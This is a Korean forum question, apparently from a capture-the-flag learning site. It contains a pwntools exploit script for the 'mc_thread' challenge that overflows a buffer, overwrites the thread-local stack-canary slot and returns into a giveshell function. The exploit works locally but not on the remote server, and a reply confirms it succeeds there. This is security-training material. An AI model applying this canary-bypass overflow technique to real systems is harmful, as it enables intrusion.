Dockerfile로 구성한 환경에서는 되는데 서버에서는 안됩니다.
주어진 Dockerfile 빌드 (docker build -t m_t . ; docker run -d -it -p 7182:7182 --name mc_thread m_t)
from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'
# p = process('./mc_thread')
# p = remote("host3.dreamhack.games", 17841)
p = remote('localhost', 7182)
e = ELF('./mc_thread')
def gdb_on():
gdb.attach(p)
pause()
# gdb_on()
code_section_addr = 0x404500-0x972
p.sendlineafter(b'Size: ', b'2352')
payload = b'A'*0x110 # dummy
payload += b'B'*0x8 # sfp
payload += p64(e.symbols['giveshell']) # ret
payload += b'C'*0x7f0 # dummy
payload += p64(code_section_addr) # fs+0x10
payload += b'A'*0x18 # fs+0x28
p.sendafter(b'Data: ', payload)
p.interactive()
p = remote('localhost', 7182)로 flag 출력 확인
p = remote("host3.dreamhack.games", 17841) 실패
제공된 Dockerfile을 빌드해서 테스트 했을 때, flag 출력을 확인을 했기에 서버와 동일하다고 생각 돼 서버 주소로 바꾸니 되지 않습니다...Dockerfile과 서버 환경이 다른지, 아니면 제가 잘못 빌드한 것인지 궁금합니다.
#pwnable
작성자 정보
답변
1
kimht
공부벌레
안녕하세요, lovinkitt님.
질문글에 올려주신 익스플로잇 코드를 문제 서버를 대상으로 실행한 결과 셸을 획득할 수 있었습니다.
다시 한 번 실행해보시면 좋을 것 같습니다.
감사합니다.